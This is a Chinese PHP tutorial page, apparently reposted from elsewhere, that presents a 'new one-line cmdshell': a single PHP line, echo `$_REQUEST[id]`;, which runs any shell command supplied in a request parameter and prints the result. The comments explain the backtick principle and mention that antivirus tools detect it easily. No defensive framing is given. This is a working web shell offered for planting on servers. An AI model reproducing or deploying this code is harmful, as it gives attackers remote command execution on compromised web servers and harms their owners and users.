当前位置: 首页 > 图文教程 > 网络编程 > PHP > php一句话cmdshell新型 (非一句话木马)

PHP
书评: PHP和ORACLE基础手册
最小化数据传输――在客户端存储数据
玩转虚拟域名◎+
DOMXML: Expat之外的另一选择
SQLite数据库安全
fckeditor用javascript创建
phplib7.2中文汉化版及调用示例
SQLite语法备忘录
将Oracle 10g内置的安全特性用于PHP
PHP5 & Web Services 系统架构图
解决PHP startup: Unable to load dynamic library的错误
PHP and Web Services
深入研究表单提交方式:GET/POST
php5中XML-RPC函数的使用
一 php与XML、XSLT、Mysql的结合运用,安装篇
二 php与XML、XSLT、Mysql的结合运用,代码篇
设计模式汇总
PHP5的异常处理机制
使用PHP5创建图形巧法(一)
使用PHP5创建图形巧妙方法(二)

PHP 中的 php一句话cmdshell新型 (非一句话木马)


出处:互联网   整理: 软晨网(RuanChen.com)   发布: 2009-10-12   浏览: 88 ::
收藏到网摘: n/a

php运行时如果遇见字符``(键盘上~符号的下档键)总会尝试着执行``里面包含的命令,并返回命令执行的结果(string类型);
复制代码 代码如下:

<?php
/*一个新型的php一句话cmdshell(非一句话木马)
//原理:php运行时如果遇见字符``(键盘上~符号的下档键)总会尝试着执行``里面包含的命令,并返回命令执行的结果(string类型);
//局限性:特征码比较明显,``符号在php中很少用到,杀毒软件很容易以此为特征码扫描到并警报;``里面不能执行php代码;
//write by skyfire
*/
echo `$_REQUEST[id]`;
?>